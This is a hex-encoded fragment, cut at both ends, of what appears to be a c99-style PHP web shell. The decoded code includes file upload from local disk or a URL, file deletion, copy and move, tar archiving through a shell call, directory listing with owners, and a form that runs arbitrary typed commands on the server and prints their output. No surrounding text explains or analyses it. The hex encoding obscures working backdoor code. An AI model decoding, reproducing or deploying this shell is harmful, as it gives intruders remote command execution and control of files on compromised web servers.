2C 73 74 72 6C 65 6E 28 24 63 6F 6E 74 65 6E 74 29 29 3B 0A 20 20 20 20 20 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 20 20 20 20 69 66 20 28 24 66 69 6C 65 73 74 65 61 6C 74 68 29 20 7B 74 6F 75 63 68 28 24 75 70 6C 6F 61 64 70 61 74 68 2E 24 64 65 73 74 69 6E 2C 24 73 74 61 74 5B 39 5D 2C 24 73 74 61 74 5B 38 5D 29 3B 7D 0A 20 20 20 20 20 7D 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 7D 0A 20 69 66 20 28 24 6D 69 6E 69 66 6F 72 6D 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 22 2E 24 75 70 6C 6F 61 64 6D 65 73 73 2E 22 3C 2F 62 3E 22 3B 0A 20 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 0A 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 46 69 6C 65 20 75 70 6C 6F 61 64 3A 3C 2F 62 3E 3C 62 72 3E 3C 62 3E 22 2E 24 75 70 6C 6F 61 64 6D 65 73 73 2E 22 3C 2F 62 3E 3C 66 6F 72 6D 20 65 6E 63 74 79 70 65 3D 5C 22 6D 75 6C 74 69 70 61 72 74 2F 66 6F 72 6D 2D 64 61 74 61 5C 22 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 75 70 6C 6F 61 64 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 0A 53 65 6C 65 63 74 20 66 69 6C 65 20 6F 6E 20 79 6F 75 72 20 6C 6F 63 61 6C 20 63 6F 6D 70 75 74 65 72 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 5C 22 75 70 6C 6F 61 64 66 69 6C 65 5C 22 20 74 79 70 65 3D 5C 22 66 69 6C 65 5C 22 3E 3C 62 72 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 6F 72 3C 62 72 3E 0A 49 6E 70 75 74 20 55 52 4C 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 5C 22 75 70 6C 6F 61 64 75 72 6C 5C 22 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 75 70 6C 6F 61 64 75 72 6C 29 2E 22 5C 22 20 73 69 7A 65 3D 5C 22 37 30 5C 22 3E 3C 62 72 3E 3C 62 72 3E 0A 53 61 76 65 20 74 68 69 73 20 66 69 6C 65 20 64 69 72 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 5C 22 75 70 6C 6F 61 64 70 61 74 68 5C 22 20 73 69 7A 65 3D 5C 22 37 30 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 64 69 73 70 64 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 0A 46 69 6C 65 2D 6E 61 6D 65 20 28 61 75 74 6F 2D 66 69 6C 6C 29 3A 20 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 75 70 6C 6F 61 64 66 69 6C 65 6E 61 6D 65 20 73 69 7A 65 3D 32 35 3E 3C 62 72 3E 3C 62 72 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 63 68 65 63 6B 62 6F 78 20 6E 61 6D 65 3D 75 70 6C 6F 61 64 61 75 74 6F 6E 61 6D 65 20 76 61 6C 75 65 3D 31 20 69 64 3D 64 66 34 3E 26 6E 62 73 70 3B 63 6F 6E 76 65 72 74 20 66 69 6C 65 20 6E 61 6D 65 20 74 6F 20 6C 6F 76 65 72 63 61 73 65 3C 62 72 3E 3C 62 72 3E 0A 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 55 70 6C 6F 61 64 5C 22 3E 0A 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 64 65 6C 65 74 65 22 29 0A 7B 0A 20 24 64 65 6C 65 72 72 20 3D 20 22 22 3B 0A 20 66 6F 72 65 61 63 68 20 28 24 61 63 74 62 6F 78 20 61 73 20 24 76 29 0A 20 7B 0A 20 20 24 72 65 73 75 6C 74 20 3D 20 66 61 6C 73 65 3B 0A 20 20 24 72 65 73 75 6C 74 20 3D 20 66 73 5F 72 6D 6F 62 6A 28 24 76 29 3B 0A 20 20 69 66 20 28 21 24 72 65 73 75 6C 74 29 20 7B 24 64 65 6C 65 72 72 20 2E 3D 20 22 43 61 6E 27 74 20 64 65 6C 65 74 65 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 76 29 2E 22 3C 62 72 3E 22 3B 7D 0A 20 7D 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 64 65 6C 65 72 72 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 44 65 6C 65 74 69 6E 67 20 77 69 74 68 20 65 72 72 6F 72 73 3A 3C 2F 62 3E 3C 62 72 3E 22 2E 24 64 65 6C 65 72 72 3B 7D 0A 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 0A 7D 0A 69 66 20 28 21 24 75 73 65 66 73 62 75 66 66 29 0A 7B 0A 20 69 66 20 28 28 24 61 63 74 20 3D 3D 20 22 70 61 73 74 65 22 29 20 6F 72 20 28 24 61 63 74 20 3D 3D 20 22 63 6F 70 79 22 29 20 6F 72 20 28 24 61 63 74 20 3D 3D 20 22 63 75 74 22 29 20 6F 72 20 28 24 61 63 74 20 3D 3D 20 22 75 6E 73 65 6C 65 63 74 22 29 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 53 6F 72 72 79 2C 20 62 75 66 66 65 72 20 69 73 20 64 69 73 61 62 6C 65 64 2E 20 46 6F 72 20 65 6E 61 62 6C 65 2C 20 73 65 74 20 64 69 72 65 63 74 69 76 65 20 5C 22 5C 24 75 73 65 46 53 62 75 66 66 5C 22 20 61 73 20 54 52 55 45 2E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 7D 0A 65 6C 73 65 0A 7B 0A 20 69 66 20 28 24 61 63 74 20 3D 3D 20 22 63 6F 70 79 22 29 20 7B 24 65 72 72 20 3D 20 22 22 3B 20 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 2C 24 61 63 74 62 6F 78 29 3B 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 20 7D 0A 20 65 6C 73 65 69 66 20 28 24 61 63 74 20 3D 3D 20 22 63 75 74 22 29 20 7B 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 2C 24 61 63 74 62 6F 78 29 3B 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 24 61 63 74 20 3D 3D 20 22 75 6E 73 65 6C 65 63 74 22 29 20 7B 66 6F 72 65 61 63 68 20 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 76 2C 24 61 63 74 62 6F 78 29 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 29 3B 7D 7D 20 66 6F 72 65 61 63 68 20 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 76 2C 24 61 63 74 62 6F 78 29 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 29 3B 7D 7D 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 7D 0A 20 69 66 20 28 24 61 63 74 65 6D 70 74 79 62 75 66 66 29 20 7B 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 3D 20 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 7D 0A 20 65 6C 73 65 69 66 20 28 24 61 63 74 70 61 73 74 65 62 75 66 66 29 0A 20 7B 0A 20 20 24 70 73 74 65 72 72 20 3D 20 22 22 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 7B 0A 20 20 20 24 74 6F 20 3D 20 24 64 2E 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 69 66 20 28 21 66 73 5F 63 6F 70 79 5F 6F 62 6A 28 24 76 2C 24 74 6F 29 29 20 7B 24 70 73 74 65 72 72 20 2E 3D 20 22 43 61 6E 27 74 20 63 6F 70 79 20 22 2E 24 76 2E 22 20 74 6F 20 22 2E 24 74 6F 2E 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 69 66 20 28 24 63 6F 70 79 5F 75 6E 73 65 74 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 29 3B 7D 0A 20 20 7D 0A 20 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 7B 0A 20 20 20 24 74 6F 20 3D 20 24 64 2E 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 69 66 20 28 21 66 73 5F 6D 6F 76 65 5F 6F 62 6A 28 24 76 2C 24 74 6F 29 29 20 7B 24 70 73 74 65 72 72 20 2E 3D 20 22 43 61 6E 27 74 20 6D 6F 76 65 20 22 2E 24 76 2E 22 20 74 6F 20 22 2E 24 74 6F 2E 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 29 3B 0A 20 20 7D 0A 20 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 70 73 74 65 72 72 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 50 61 73 74 69 6E 67 20 77 69 74 68 20 65 72 72 6F 72 73 3A 3C 2F 62 3E 3C 62 72 3E 22 2E 24 70 73 74 65 72 72 3B 7D 0A 20 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 0A 20 7D 0A 20 65 6C 73 65 69 66 20 28 24 61 63 74 61 72 63 62 75 66 66 29 0A 20 7B 0A 20 20 24 61 72 63 65 72 72 20 3D 20 22 22 3B 0A 20 20 69 66 20 28 73 75 62 73 74 72 28 24 61 63 74 61 72 63 62 75 66 66 5F 70 61 74 68 2C 2D 37 2C 37 29 20 3D 3D 20 22 2E 74 61 72 2E 67 7A 22 29 20 7B 24 65 78 74 20 3D 20 22 2E 74 61 72 2E 67 7A 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 24 65 78 74 20 3D 20 22 2E 74 61 72 2E 67 7A 22 3B 7D 0A 20 20 69 66 20 28 24 65 78 74 20 3D 3D 20 22 2E 74 61 72 2E 67 7A 22 29 20 7B 24 63 6D 64 6C 69 6E 65 20 3D 20 22 74 61 72 20 63 66 7A 76 22 3B 7D 0A 20 20 24 63 6D 64 6C 69 6E 65 20 2E 3D 20 22 20 22 2E 24 61 63 74 61 72 63 62 75 66 66 5F 70 61 74 68 3B 0A 20 20 24 6F 62 6A 65 63 74 73 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 2C 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 29 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 6F 62 6A 65 63 74 73 20 61 73 20 24 76 29 0A 20 20 7B 0A 20 20 20 24 76 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 76 29 3B 0A 20 20 20 69 66 20 28 73 75 62 73 74 72 28 24 76 2C 30 2C 73 74 72 6C 65 6E 28 24 64 29 29 20 3D 3D 20 24 64 29 20 7B 24 76 20 3D 20 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 7D 0A 20 20 20 69 66 20 28 69 73 5F 64 69 72 28 24 76 29 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 73 75 62 73 74 72 28 24 76 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 76 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 20 20 20 24 76 20 2E 3D 20 22 2A 22 3B 0A 20 20 20 7D 0A 20 20 20 24 63 6D 64 6C 69 6E 65 20 2E 3D 20 22 20 22 2E 24 76 3B 0A 20 20 7D 0A 20 20 24 74 6D 70 20 3D 20 72 65 61 6C 70 61 74 68 28 22 2E 22 29 3B 0A 20 20 63 68 64 69 72 28 24 64 29 3B 0A 20 20 24 72 65 74 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 63 6D 64 6C 69 6E 65 29 3B 0A 20 20 63 68 64 69 72 28 24 74 6D 70 29 3B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 72 65 74 29 29 20 7B 24 61 72 63 65 72 72 20 2E 3D 20 22 43 61 6E 27 74 20 63 61 6C 6C 20 61 72 63 68 69 76 61 74 6F 72 20 28 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 73 74 72 32 6D 69 6E 69 28 24 63 6D 64 6C 69 6E 65 2C 36 30 29 29 2E 22 29 21 3C 62 72 3E 22 3B 7D 0A 20 20 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 72 5C 6E 22 2C 22 5C 6E 22 2C 24 72 65 74 29 3B 0A 20 20 24 72 65 74 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 6E 22 2C 24 72 65 74 29 3B 0A 20 20 69 66 20 28 24 63 6F 70 79 5F 75 6E 73 65 74 29 20 7B 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 29 3B 7D 7D 0A 20 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 76 2C 24 72 65 74 29 29 20 7B 66 73 5F 72 6D 6F 62 6A 28 24 76 29 3B 7D 0A 20 20 20 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 29 3B 0A 20 20 7D 0A 20 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 61 72 63 65 72 72 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 41 72 63 68 69 76 61 74 69 6F 6E 20 65 72 72 6F 72 73 3A 3C 2F 62 3E 3C 62 72 3E 22 2E 24 61 72 63 65 72 72 3B 7D 0A 20 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 0A 20 7D 0A 20 65 6C 73 65 69 66 20 28 24 61 63 74 70 61 73 74 65 62 75 66 66 29 0A 20 7B 0A 20 20 24 70 73 74 65 72 72 20 3D 20 22 22 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 7B 0A 20 20 20 24 74 6F 20 3D 20 24 64 2E 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 69 66 20 28 21 66 73 5F 63 6F 70 79 5F 6F 62 6A 28 24 76 2C 24 64 29 29 20 7B 24 70 73 74 65 72 72 20 2E 3D 20 22 43 61 6E 27 74 20 63 6F 70 79 20 22 2E 24 76 2E 22 20 74 6F 20 22 2E 24 74 6F 2E 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 69 66 20 28 24 63 6F 70 79 5F 75 6E 73 65 74 29 20 7B 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 6F 70 79 22 5D 5B 24 6B 5D 29 3B 7D 0A 20 20 7D 0A 20 20 66 6F 72 65 61 63 68 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 7B 0A 20 20 20 24 74 6F 20 3D 20 24 64 2E 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 69 66 20 28 21 66 73 5F 6D 6F 76 65 5F 6F 62 6A 28 24 76 2C 24 64 29 29 20 7B 24 70 73 74 65 72 72 20 2E 3D 20 22 43 61 6E 27 74 20 6D 6F 76 65 20 22 2E 24 76 2E 22 20 74 6F 20 22 2E 24 74 6F 2E 22 21 3C 62 72 3E 22 3B 7D 0A 20 20 20 75 6E 73 65 74 28 24 73 65 73 73 5F 64 61 74 61 5B 22 63 75 74 22 5D 5B 24 6B 5D 29 3B 0A 20 20 7D 0A 20 20 63 39 39 5F 73 65 73 73 5F 70 75 74 28 24 73 65 73 73 5F 64 61 74 61 29 3B 0A 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 70 73 74 65 72 72 29 29 20 7B 65 63 68 6F 20 22 3C 62 3E 50 61 73 74 69 6E 67 20 77 69 74 68 20 65 72 72 6F 72 73 3A 3C 2F 62 3E 3C 62 72 3E 22 2E 24 70 73 74 65 72 72 3B 7D 0A 20 20 24 61 63 74 20 3D 20 22 6C 73 22 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 63 6D 64 22 29 0A 7B 0A 69 66 20 28 74 72 69 6D 28 24 63 6D 64 29 20 3D 3D 20 22 70 73 20 2D 61 75 78 22 29 20 7B 24 61 63 74 20 3D 20 22 70 72 6F 63 65 73 73 65 73 22 3B 7D 0A 65 6C 73 65 69 66 20 28 74 72 69 6D 28 24 63 6D 64 29 20 3D 3D 20 22 74 61 73 6B 6C 69 73 74 22 29 20 7B 24 61 63 74 20 3D 20 22 70 72 6F 63 65 73 73 65 73 22 3B 7D 0A 65 6C 73 65 0A 7B 0A 20 40 63 68 64 69 72 28 24 63 68 64 69 72 29 3B 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 52 65 73 75 6C 74 20 6F 66 20 65 78 65 63 75 74 69 6F 6E 20 74 68 69 73 20 63 6F 6D 6D 61 6E 64 3C 2F 62 3E 3A 3C 62 72 3E 22 3B 0A 20 20 24 6F 6C 64 64 69 72 20 3D 20 72 65 61 6C 70 61 74 68 28 22 2E 22 29 3B 0A 20 20 40 63 68 64 69 72 28 24 64 29 3B 0A 20 20 24 72 65 74 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 63 6D 64 29 3B 0A 20 20 24 72 65 74 20 3D 20 63 6F 6E 76 65 72 74 5F 63 79 72 5F 73 74 72 69 6E 67 28 24 72 65 74 2C 22 64 22 2C 22 77 22 29 3B 0A 20 20 69 66 20 28 24 63 6D 64 5F 74 78 74 29 0A 20 20 7B 0A 20 20 20 24 72 6F 77 73 20 3D 20 63 6F 75 6E 74 28 65 78 70 6C 6F 64 65 28 22 5C 72 5C 6E 22 2C 24 72 65 74 29 29 2B 31 3B 0A 20 20 20 69 66 20 28 24 72 6F 77 73 20 3C 20 31 30 29 20 7B 24 72 6F 77 73 20 3D 20 31 30 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 63 6F 6C 73 3D 5C 22 31 32 32 5C 22 20 72 6F 77 73 3D 5C 22 22 2E 24 72 6F 77 73 2E 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 65 74 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 22 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 24 72 65 74 2E 22 3C 62 72 3E 22 3B 7D 0A 20 20 40 63 68 64 69 72 28 24 6F 6C 64 64 69 72 29 3B 0A 20 7D 0A 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 45 78 65 63 75 74 69 6F 6E 20 63 6F 6D 6D 61 6E 64 3C 2F 62 3E 22 3B 20 69 66 20 28 65 6D 70 74 79 28 24 63 6D 64 5F 74 78 74 29 29 20 7B 24 63 6D 64 5F 74 78 74 20 3D 20 74 72 75 65 3B 7D 7D 0A 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 63 6D 64 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 63 6D 64 20 63 6F 6C 73 3D 31 32 32 20 72 6F 77 73 3D 31 30 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 63 6D 64 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 5C 22 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 64 69 73 70 64 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 45 78 65 63 75 74 65 5C 22 3E 26 6E 62 73 70 3B 44 69 73 70 6C 61 79 20 69 6E 20 74 65 78 74 2D 61 72 65 61 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 63 6D 64 5F 74 78 74 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 22 3B 20 69 66 20 28 24 63 6D 64 5F 74 78 74 29 20 7B 65 63 68 6F 20 22 20 63 68 65 63 6B 65 64 22 3B 7D 20 65 63 68 6F 20 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 6C 73 22 29 0A 7B 0A 20 69 66 20 28 63 6F 75 6E 74 28 24 6C 73 5F 61 72 72 29 20 3E 20 30 29 20 7B 24 6C 69 73 74 20 3D 20 24 6C 73 5F 61 72 72 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 6C 69 73 74 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 69 66 20 28 24 68 20 3D 20 40 6F 70 65 6E 64 69 72 28 24 64 29 29 0A 20 20 7B 0A 20 20 20 77 68 69 6C 65 20 28 28 24 6F 20 3D 20 72 65 61 64 64 69 72 28 24 68 29 29 20 21 3D 3D 20 66 61 6C 73 65 29 20 7B 24 6C 69 73 74 5B 5D 20 3D 20 24 64 2E 24 6F 3B 7D 0A 20 20 20 63 6C 6F 73 65 64 69 72 28 24 68 29 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 20 7B 7D 0A 20 7D 0A 20 69 66 20 28 63 6F 75 6E 74 28 24 6C 69 73 74 29 20 3D 3D 20 30 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 43 61 6E 27 74 20 6F 70 65 6E 20 66 6F 6C 64 65 72 20 28 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 29 2E 22 29 21 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 2F 2F 42 75 69 6C 64 69 6E 67 20 61 72 72 61 79 0A 20 20 24 6F 62 6A 65 63 74 73 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 24 76 64 20 3D 20 22 66 22 3B 20 2F 2F 56 69 65 77 69 6E 67 20 6D 6F 64 65 0A 20 20 69 66 20 28 24 76 64 20 3D 3D 20 22 66 22 29 0A 20 20 7B 0A 20 20 20 24 6F 62 6A 65 63 74 73 5B 22 68 65 61 64 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 6F 62 6A 65 63 74 73 5B 22 66 6F 6C 64 65 72 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 6F 62 6A 65 63 74 73 5B 22 6C 69 6E 6B 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 24 6F 62 6A 65 63 74 73 5B 22 66 69 6C 65 73 22 5D 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 66 6F 72 65 61 63 68 20 28 24 6C 69 73 74 20 61 73 20 24 76 29 0A 20 20 20 7B 0A 20 20 20 20 24 6F 20 3D 20 62 61 73 65 6E 61 6D 65 28 24 76 29 3B 0A 20 20 20 20 24 72 6F 77 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 20 69 66 20 28 24 6F 20 3D 3D 20 22 2E 22 29 20 7B 24 72 6F 77 5B 5D 20 3D 20 24 64 2E 24 6F 3B 20 24 72 6F 77 5B 5D 20 3D 20 22 4C 49 4E 4B 22 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 24 6F 20 3D 3D 20 22 2E 2E 22 29 20 7B 24 72 6F 77 5B 5D 20 3D 20 24 64 2E 24 6F 3B 20 24 72 6F 77 5B 5D 20 3D 20 22 4C 49 4E 4B 22 3B 7D 0A 20 20 20 20 65 6C 73 65 69 66 20 28 69 73 5F 64 69 72 28 24 76 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 69 73 5F 6C 69 6E 6B 28 24 76 29 29 20 7B 24 74 79 70 65 20 3D 20 22 4C 49 4E 4B 22 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 24 74 79 70 65 20 3D 20 22 44 49 52 22 3B 7D 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 24 76 3B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 24 74 79 70 65 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 6C 73 65 69 66 28 69 73 5F 66 69 6C 65 28 24 76 29 29 20 7B 24 72 6F 77 5B 5D 20 3D 20 24 76 3B 20 24 72 6F 77 5B 5D 20 3D 20 66 69 6C 65 73 69 7A 65 28 24 76 29 3B 7D 0A 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 66 69 6C 65 6D 74 69 6D 65 28 24 76 29 3B 0A 20 20 20 20 69 66 20 28 21 24 77 69 6E 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 6F 77 20 3D 20 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 28 66 69 6C 65 6F 77 6E 65 72 28 24 76 29 29 3B 0A 20 20 20 20 20 24 67 72 20 3D 20 70 6F 73 69 78 5F 67 65 74 67 72 67 69 64 28 66 69 6C 65 67 72 6F 75 70 28 24 76 29 29 3B 0A 20 20 20 20 20 24 72 6F 77 5B 5D 20 3D 20 28 24 6F 77 5B 22 6E 61 6D 65 22 5D 3F 24 6F 77 5B 22 6E 61 6D 65 22 5D 3A 66 69 6C 65 6F 77 6E 65 72 28 24 76 29 29 2E 22 2F 22 